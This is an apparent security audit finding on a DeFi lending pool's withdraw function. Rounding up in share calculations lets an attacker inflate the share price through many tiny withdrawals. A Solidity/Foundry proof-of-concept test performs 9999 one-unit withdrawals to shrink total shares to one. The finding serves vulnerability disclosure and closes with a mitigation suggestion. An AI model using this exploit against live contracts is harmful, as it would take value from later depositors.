Bouncy Banana Aardvark

High

# An Attacker Can Exploit the Withdraw Function to Inflate Share Prices

### Summary

The flaw in the `withdraw` function will cause a significant financial disadvantage for new depositors as an attacker will exploit the rounding error in share calculations to inflate the share price. The flawed calculation will cause an increase in the share price, which means new depositors will receive fewer shares for their deposits.

### Root Cause

In `Pool.sol:350`, the `withdraw` function rounds up when calculating the number of shares to withdraw, which causes an increase in the share price.
https://github.com/sentimentxyz/protocol-v2/blob/04bf15565165396608cc0aedacf05897235518fd/src/Pool.sol#L350

### Internal pre-conditions

1. `totalDepositAssets` of the pool needs to be small enough to make rounding errors significant.

### External pre-conditions

No external pre-conditions are required.

### Attack Path

1. An attacker deposits assets into the pool initially.
2. The attacker makes a series of multiple small withdrawals from the pool.
3. Each withdrawal triggers the rounding-up mechanism, slightly reducing `totalDepositShares` without a proportional reduction in `totalDepositAssets`.
4. Over several iterations, the share price becomes significantly inflated due to the reduced `totalDepositShares` and relatively smaller reduction in `totalDepositAssets`.
5. After the attack, the inflated share price means new depositors receive far fewer shares for their deposits than pre-attack conditions.

### Impact

- The share price of the pool becomes significantly inflated.
- New depositors receive significantly fewer shares for their assets than pre-attack conditions.
- The protocolâ€™s integrity is compromised, leading to a loss of trust and fairness.

### PoC

```solidity
    function test() public {
        uint256 assets;
        uint256 shares;
        address attacker = makeAddr("attacker");

        // the attacker deposits 10000 assets to linearRatePool
        vm.startPrank(attacker);
        asset1.mint(attacker, 10000);
        asset1.approve(address(pool), 10000);

        pool.deposit(linearRatePool, 10000, attacker);
        vm.stopPrank();

        // totalDepositAssets is 10000 and totalDepositShares is 10000. the share price is 1.
        (,,,,,,,,, assets, shares) = pool.poolDataFor(linearRatePool);
        assertEq(assets, 10000);
        assertEq(shares, 10000);

        // the user borrows 1000 assets from pool and repays after 5 years.
        vm.prank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
        pool.borrow(linearRatePool, user, 1000);

        uint256 time = block.timestamp + 1 days;
        vm.warp(time + 86_400 * 365 * 5);
        vm.roll(block.number + ((86_400 * 365 * 5) / 2));

        vm.startPrank(user);
        asset1.mint(user, 6500);
        asset1.approve(address(pool), 6500);

        IERC20(address(asset1)).safeTransfer(address(pool), 6500);
        vm.stopPrank();

        vm.prank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
        pool.repay(linearRatePool, user, 6500);

        // totalDepositAssets is 15500 and totalDepositShares is 10000. the share price is 1.55.
        (,,,,,,,,, assets, shares) = pool.poolDataFor(linearRatePool);
        assertEq(assets, 15500);
        assertEq(shares, 10000);

        // the attacker withdraw 9999 times per 1 asset
        vm.startPrank(attacker);
        for(uint i = 0; i < 9999; i++) {
            pool.withdraw(linearRatePool, 1, attacker, attacker);
        }
        vm.stopPrank();

        // totalDepositAssets is 5501 and totalDepositShares is 1. the share price is 5501.
        (,,,,,,,,, assets, shares) = pool.poolDataFor(linearRatePool);
        assertEq(assets, 5501);
        assertEq(shares, 1);
    }
```

### Mitigation

To mitigate this issue, consider implementing more precise rounding mechanisms or limiting the number of withdrawals. This could help reduce the impact of the rounding error and prevent attackers from inflating the share price.